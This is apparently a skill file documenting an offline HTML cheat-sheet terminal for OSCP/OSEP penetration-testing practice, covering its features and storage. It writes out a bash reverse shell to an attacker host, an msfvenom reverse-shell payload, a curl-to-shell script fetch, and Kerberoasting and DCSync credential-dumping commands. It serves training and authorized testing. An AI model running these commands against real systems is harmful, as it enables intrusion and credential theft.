Imported from reason-machines/security-skills (skills/oscp-pentestcheatsheet-terminal/SKILL.md). Install upstream with npx skills add reason-machines/security-skills --skill oscp-pentestcheatsheet-terminal. Copyright stays with the author.

OSCP Pentestcheatsheet Terminal Skill

Skill by ara.so — Security Skills collection

Overview

The OSCP+ Pentestcheatsheet is a single-file, offline-ready HTML command reference terminal containing 580+ penetration testing commands organized into 28 sections. It features variable substitution, favorites, notes, target intel tracking, and command history — all running locally in your browser with localStorage persistence.

Installation

# Clone the repository
git clone https://github.com/anshu19981/Pentestcheatsheet.git
cd Pentestcheatsheet

# Open directly in browser (no build step required)
open index.html
# or
firefox index.html
# or
google-chrome index.html

No dependencies required — it's a fully self-contained HTML file that works offline.

Project Structure

Pentestcheatsheet/
├── index.html          # Single-file terminal (all functionality)
├── profile.jpg         # Optional profile image
└── README.md

Key Features

1. Variable Substitution System

The terminal uses placeholder variables that auto-substitute into every command:

2. Command Sections

Commands are organized into 4 major groups:

OSCP+ Core: Recon, Web Attacks, API Attacks, Shells, Linux/Windows PrivEsc, Cloud, Pivoting, Password Attacks, OSINT, Wireless, Misc

Active Directory: AD Recon, AD Attacks, Lateral Movement, Persistence, ADCS, Advanced Attacks

OSEP Advanced: Evasion/OPSEC, Injection, C2 Frameworks, VBA/Office, Binary Analysis

Post-Exploitation: Loot/Post-Exploit, Hash Cracking, Buffer Overflow, Tunneling, File Transfer

3. UI Interactions

Keyboard Shortcuts:

• Ctrl+K — Focus search
• Escape — Clear search
• Ctrl+D — Toggle dark/light mode
• Ctrl+F — Open favorites panel

Per-Command Actions:

• Copy — Copies command with variables substituted
• 1-line — Converts multiline to single line with ;
• ★ Star — Adds to favorites
• 📝 Note — Adds inline note to command
• ✔ Mark Done — Tracks completed commands

4. Panels

• 🎯 INTEL — Target intelligence notepad (scope, creds, flags, pivots)
• 📓 NOTES — Freeform side notes with timestamps
• ⏱ HIST — Last 20 copied commands
• ★ FAVS — Starred commands
• ＋ ADD — Add custom commands

Usage Patterns

Basic Workflow

// 1. Open index.html in browser
// 2. Set variables at top of page
//    LHOST: 10.10.14.5
//    RHOST: 10.10.10.150
//    LPORT: 443
//    DOMAIN: htb.local

// 3. Navigate to section (e.g., "Shells")
// 4. Click "Copy" on desired command
// Example: Reverse shell command automatically becomes:
//    bash -i >& /dev/tcp/10.10.14.5/443 0>&1

// 5. Paste into terminal and execute

Search Functionality

// Press Ctrl+K or click search bar
// Type: "nmap stealth"
// Results filter across all 580+ commands instantly

// Search examples:
// "kerberoasting" → finds all AD kerberoast commands
// "reverse shell" → finds shell commands across sections
// "bloodhound" → finds AD enumeration commands
// "amsi bypass" → finds evasion techniques

Adding Custom Commands

// Click "＋ ADD" button
// Fill in form:
{
  "title": "Custom Ligolo Tunnel Setup",
  "command": `# Start ligolo proxy on {LHOST}
sudo ligolo-proxy -selfcert -laddr 0.0.0.0:11601

# On target, upload and run agent
ligolo-agent -connect {LHOST}:11601 -ignore-cert

# In ligolo prompt:
session
ifconfig
listener_add --addr 0.0.0.0:{LPORT} --to 127.0.0.1:445`,
  "tags": ["CRITICAL", "OSEP"]
}

// Command appears in "Custom" section
// Saved to localStorage automatically

Managing Target Intel

// Click "🎯 INTEL" panel
// Fill in engagement data:
{
  "engagementName": "HackTheBox - Inception",
  "targetScope": "10.10.10.67\n10.10.10.68",
  "currentObjective": "Privesc via docker escape",
  "credentials": [
    { user: "cobb", pass: "Mr.Inception!", type: "SSH" },
    { user: "administrator", hash: "aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c", type: "NTLM" }
  ],
  "flags": {
    "user": "a5c2ff8b9c2e3d4a1b6789...",
    "root": "b8d4ac7f2e9a1c5d8b4673..."
  },
  "pivotPoints": "10.10.10.67:22 → 172.16.1.10:445",
  "notes": "Docker socket exposed at /var/run/docker.sock"
}

// Click "Export" to save as intel_YYYY-MM-DD.txt

Working with Favorites

// Star frequently used commands by clicking ★
// Access via "★ FAVS" panel
// Example favorites workflow:

// 1. Star "Python HTTP Server" from File Transfer
// 2. Star "Nmap Full Port Scan" from Recon
// 3. Star "Impacket psexec.py" from AD Lateral
// 4. Open FAVS panel — all 3 accessible instantly

// Export favorites:
// Click "Export" in FAVS panel → saves favorites.txt

Notes System

// Click "📓 NOTES" panel
// Add note:
{
  "title": "AD Attack Path",
  "content": `1. ASREProast on user svc-alfresco
2. WinRM as svc-alfresco
3. BloodHound shows WriteDACL on Exchange Windows Permissions
4. Add svc-alfresco to group → DCSync
5. secretsdump.py for Administrator NTLM`
}

// Each note:
// - Auto-saves on keystroke
// - Shows timestamp
// - Persists across sessions
// - Counts shown in header badge

Command History

// Every copied command tracked automatically
// Access via "⏱ HIST" panel
// Shows last 20 copies with timestamps
// Click any history item to re-copy

// Example history view:
// [14:32] nmap -sC -sV -p- 10.10.10.67
// [14:35] chisel server --reverse --port 8080
// [14:38] impacket-secretsdump 'htb.local/admin:P@ssw0rd@10.10.10.67'

Command Examples by Category

Reconnaissance

# Full nmap scan with variable substitution
nmap -sC -sV -p- --min-rate=1000 -T4 {RHOST} -oA nmap_full

# Rustscan
rustscan -a {RHOST} -- -sC -sV

# Web fuzzing
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u {URL}/FUZZ -mc 200,301,302,403

Active Directory

# Kerberoasting
impacket-GetUserSPNs {DOMAIN}/{USER}:{PASS} -dc-ip {DC} -request

# BloodHound collection
bloodhound-python -u {USER} -p {PASS} -ns {DC} -d {DOMAIN} -c All

# DCSync
impacket-secretsdump '{DOMAIN}/{USER}:{PASS}@{DC}'

Shells & Listeners

# Netcat listener
nc -nvlp {LPORT}

# Bash reverse shell
bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1

# Msfvenom Windows payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f exe -o shell.exe

Privilege Escalation

# Linux SUID enumeration
find / -perm -4000 -type f 2>/dev/null

# Windows token impersonation check
whoami /priv

# LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Data Persistence

All user data stored in browser localStorage:

// Storage keys:
cs_favorites        // Starred commands
cs_commandNotes     // Per-command notes
cs_commandsDone     // Completion tracking
cs_targetIntel      // Intel panel data
cs_sideNotes        // Notes panel data
cs_copyHistory      // Command history
cs_customCommands   // User-added commands
cs_theme            // Dark/light preference
cs_variables        // LHOST, RHOST, etc.

Clear All Data

// Open browser DevTools (F12)
// Go to: Application → Local Storage → file://
// Delete keys starting with "cs_"

// Or via console:
localStorage.clear()

Customization

Adding New Section (Modify index.html)

// Find sections array in <script> tag
sections.push({
  id: 'custom-recon',
  name: '🔎 Custom Recon',
  group: 'OSCP+ Core',
  commands: [
    {
      title: 'Custom Port Scanner',
      command: 'masscan -p1-65535 {RHOST} --rate=1000 -e tun0',
      tags: ['HIGH']
    }
  ]
});

Changing Default Variables

// Locate defaultVariables object in <script>
const defaultVariables = {
  LHOST: '192.168.45.199',    // Your VPN IP
  RHOST: '192.168.45.150',    // Lab target
  LPORT: '443',
  RPORT: '80',
  DOMAIN: 'lab.local',
  DC: '192.168.45.100',
  USER: 'admin',
  PASS: 'P@ssw0rd123',
  HASH: 'aad3b435b51404eeaad3b435b51404ee:...',
  URL: 'http://192.168.45.150'
};

Integration with External Tools

Export to CherryTree

// 1. Open INTEL panel
// 2. Fill in all engagement data
// 3. Click "Export" → saves intel_YYYY-MM-DD.txt
// 4. Import into CherryTree as plain text node

// Or export favorites:
// FAVS panel → Export → favorites.txt
// Import as code block in CherryTree

Use with tmux/Terminal

# Split tmux pane
tmux split-window -h

# Left pane: Browser with cheatsheet
# Right pane: Terminal for execution

# Workflow:
# 1. Copy command from cheatsheet
# 2. Switch to terminal pane (Ctrl+b →)
# 3. Paste and execute
# 4. Copy output, switch back (Ctrl+b ←)
# 5. Add output to NOTES panel

Troubleshooting

Variables Not Substituting

// Check if variables bar is filled
// Look for red outline on empty required fields

// Manual verification:
// Copy a command, check if {LHOST} is replaced
// If not, reload page: Ctrl+Shift+R (hard refresh)

localStorage Not Persisting

// Check browser privacy settings
// Firefox: Preferences → Privacy → History → "Remember history"
// Chrome: Settings → Privacy → Cookies → Allow all

// If using Private/Incognito mode:
// Data will NOT persist between sessions

Export Button Not Working

// Check browser console (F12 → Console)
// Common issue: popup blocker

// Solution:
// Allow popups from file:// or localhost
// Or: Right-click Export → Save Link As

Search Not Finding Commands

// Search is case-insensitive and searches:
// - Command titles
// - Command content
// - Section names

// If no results:
// 1. Clear search (Escape)
// 2. Try alternate keywords
//    "kerberos" instead of "kerberoasting"
//    "shell" instead of "reverse shell"

Dark Mode Not Saving

// Theme preference stored in localStorage
// Key: cs_theme

// Manual fix:
localStorage.setItem('cs_theme', 'dark')  // or 'light'
location.reload()

Best Practices

1. Set variables first — Fill LHOST, RHOST before using any commands
2. Star essentials — Favorite your go-to commands for quick access
3. Use INTEL panel — Track creds and flags as you find them
4. Export regularly — Backup intel and notes to text files
5. Custom commands — Add your own tools and one-liners
6. History review — Check HIST panel to verify what you've run
7. Offline first — Download and use locally, not from GitHub Pages
8. Clean data — Clear localStorage between engagements for OPSEC

Security Considerations

• Air-gapped safe — Fully offline after initial load
• No telemetry — Nothing sent to external servers
• Local storage only — All data in browser localStorage
• Authorized use only — Tool for legal penetration testing only
• Clear data — Remember to clear sensitive intel after engagement

Additional Resources

• Project repo: https://github.com/anshu19981/Pentestcheatsheet
• Live demo: https://anshu19981.github.io/Pentestcheatsheet/
• Author: Anshuman Jha LinkedIn

This cheatsheet terminal is designed for OSCP/OSEP exam preparation and professional penetration testing engagements. Use it as your command reference hub during engagements, HTB machines, or certification exams.